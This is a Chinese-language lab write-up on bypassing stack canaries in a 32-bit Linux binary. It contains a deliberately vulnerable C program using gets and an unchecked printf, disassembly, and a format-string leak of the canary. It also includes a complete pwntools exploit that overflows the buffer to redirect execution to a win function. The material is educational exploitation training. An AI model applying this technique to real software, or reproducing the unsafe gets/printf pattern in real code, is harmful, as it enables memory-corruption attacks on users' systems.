什么是canary

security cookies,Assume that at the beginning of a function call (e.g. during its prologue) we are saving a value in the function’s stack frame, we would expect (! if everything went well !) to read the same value just before the function exits or namely at its epilogue. If the value has changed, then the execution of the program will be terminated and an error message will be displayed. [1] Obviously, this protection mechanism is added by the compiler during the compilation process. For the GNU Compiler Collection (gcc), it is implemented via the StackGuard extension which was added to gcc 2.7.2.2 [1] Bypass stack canary

漏洞程序 vuln.c

// gcc -m32 vuln.c -no-pie -z execstack -o vuln
#include <stdio.h>

void vuln() {
    char buffer[64];

    puts("Leak me");
    gets(buffer);

    printf(buffer);
    puts("");

    puts("Overflow me");
    gets(buffer);
}

int main() {
    vuln();
}

void win() {
    puts("You won!");
}

漏洞分析

  1. canary保护开启
─$ checksec --file=./vuln
[*] '/home/kali/exploits/canary/vuln-32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  1. stack smashing
─$ ./vuln-32
Leak me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
Overflow me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
*** stack smashing detected ***: terminated
  1. 绕过canary方案
  • 爆破canary值
  • 利用printf泄露canary 本篇采用方案2.
  1. 反编译vuln
[0x080491d7]> pdd
/* r2dec pseudo code output */
/* /home/kali/exploits/canary/vuln-32 @ 0x80491d7 */
#include <stdint.h>

int32_t vuln (void) {
    int32_t var_4ch;
    int32_t var_ch;
    int32_t var_4h;
    _x86_get_pc_thunk_bx (ebx);
    ebx += 0x2e62;
    eax = *(gs:0x14);
    var_ch = *(gs:0x14); // 从gs:0x14取canary,存放在栈上
    eax = 0;
    puts (ebx - 0x1ff8);
    gets (var_4ch);
    printf (var_4ch);
    puts (ebx - 0x1ff0);
    puts (ebx - 0x1fef);
    gets (var_4ch);
    eax = var_ch; //从栈上取canary
    eax -= *(gs:0x14);
    if (eax != 0) {
        stack_chk_fail_local ();
    }
    ebx = var_4h;
    return eax;
}

从反编译vuln函数看,canary存在栈地址ebp - 0xc处。

  • vuln函数栈地址空间

    栈偏移 栈内容
    ebp-0x16 buffer
    ebp-0xc canary
    ebp+0x00 ebp
    ebp+0x04 返回地址
  • 利用printf读canary

canary偏移
// printf下断点,查看buffer的偏移
[0x08049192]> db 0x080491d7
[0x08049192]> dc
Leak me
AAAABBBBCCCC
hit breakpoint at: 0x80491d7
// 查看 ebp-0xc距离栈顶esp的偏移offset == 23个dword
[0x080491d7]> ?v ebp-0xc
0xffffd44c
[0x080491d7]> pxw @ esp
0xffffd3f0  0xffffd40c 0x00000001 0xf7ffda40 0x0804919e  ........@.......
0xffffd400  0xffffffff 0xf7fc9694 0xf7ffd608 0x41414141  ............AAAA
0xffffd410  0x42424242 0x43434343 0x00000000 0xffffdfee  BBBBCCCC........
0xffffd420  0xf7fc7550 0x00000000 0xf7c1ca2f 0xf7e1d048  Pu....../...H...
0xffffd430  0xf7fc14a0 0xf7fd98cb 0xf7c1ca2f 0xf7fc14a0  ......../.......
0xffffd440  0xffffd480 0xf7fc1678 0xf7fc1b40 0x42026a00  ....x...@....j.B
  • 尝试读取canary
┌──(kali㉿kali)-[~/exploits/canary]
└─$ ./vuln
Leak me
aaaa|%23$p
aaaa|0xfa3b7a00
Overflow me


┌──(kali㉿kali)-[~/exploits/canary]
└─$ ./vuln
Leak me
aaaa|%23$p
aaaa|0xa7570900
Overflow me


┌──(kali㉿kali)-[~/exploits/canary]
└─$ ./vuln
Leak me
aaaa|%23$p
aaaa|0x17ced000

Overflow mecanary的值每次调用时候都不同,但最后一个自己为0.

编写利用程序

┌──(kali㉿kali)-[~/exploits/canary]
└─$ readelf -s ./vuln| grep win
    60: 08049245    43 FUNC    GLOBAL DEFAULT   13 win
from pwn import *

p = process('./vuln')

p.clean()

payload = b'%23$p'
p.sendline(payload)

canary = int(p.recvline(),16)
log.info(f'leak canary : {hex(canary)}')

payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 12
payload += p32(0x08049245)

p.sendline(payload)

log.info(p.clean())┌──(kali㉿kali)-[~/exploits/canary]
└─$ python canary_bypass.py
[+] Starting local process './vuln-32': pid 1704736
[*] leak canary : 0x30083700
[*] Overflow me
    You won!
[*] Stopped process './vuln-32' (pid 1704736)